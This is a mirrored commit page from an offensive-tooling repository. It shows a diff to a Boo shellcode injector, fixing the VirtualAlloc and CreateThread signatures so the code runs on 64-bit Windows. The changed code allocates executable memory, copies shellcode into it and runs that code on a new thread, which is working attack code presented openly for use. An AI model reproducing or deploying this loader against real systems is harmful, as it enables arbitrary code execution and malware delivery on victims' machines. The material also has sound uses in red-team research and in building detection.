admin/byt3bl33d3r-OffensiveDLR
1
0
Fork 0
mirror of https://github.com/byt3bl33d3r/OffensiveDLR synced 2026-06-06 15:24:29 +00:00
Code Issues Packages Projects Releases Wiki Activity

Fix parameters types of VirtualAlloc and CreateThread

Browse Source 
Now they work for 64 bit as well
This commit is contained in:
Physics
2020-05-16 17:56:31 +01:00
committed by GitHub
parent 1a9e35e86f
commit 14a44e6b0b
1 changed files with 8 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files
shellcode.boo
+8 -11
View File
@@ -41,11 +41,11 @@ class Inject:
pass pass
[DllImport("kernel32.dll")] [DllImport("kernel32.dll")]
def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as uint, flProtect as uint) as int: def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as uint, flProtect as uint) as IntPtr:
pass pass
[DllImport("kernel32.dll")] [DllImport("kernel32.dll")]
def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int: def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as IntPtr, param as int, dwCreationFlags as int, lpThreadId as int) as int:
pass pass
[DllImport("kernel32.dll")] [DllImport("kernel32.dll")]
@@ -101,20 +101,17 @@ class Inject:
MEM_COMMIT = 0x1000 cast uint MEM_COMMIT = 0x1000 cast uint
PAGE_EXECUTE_READWRITE = 0x40 cast uint PAGE_EXECUTE_READWRITE = 0x40 cast uint
currentProcess = Process.GetCurrentProcess() funcAddr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
print "funcAddr = $funcAddr"
Marshal.Copy(sc, 0 , funcAddr cast IntPtr, sc.Length)
threadId = 0 threadId = 0
pinfo = 0 pinfo = 0
funcAddr = VirtualAlloc(0, sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
print "funcAddr = $funcAddr"
Marshal.Copy(sc, 0 , funcAddr cast IntPtr, sc.Length)
//oldProtect as uint = 0
//resultBool = VirtualProtectEx(currentProcess.Handle cast IntPtr, funcAddr cast IntPtr, sc.Length, PAGE_EXECUTE_READWRITE, oldProtect)
//print "VirtualProtectEx = $resultBool, oldProtect = $oldProtect"
hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId) hThread = CreateThread(0, 0, funcAddr, pinfo, 0 ,threadId)
print "hThread = $hThread" print "hThread = $hThread"
WaitForSingleObject(hThread, 0xFFFFFFFF) WaitForSingleObject(hThread, 0xFFFFFFFF)
print "Injected" print "Injected"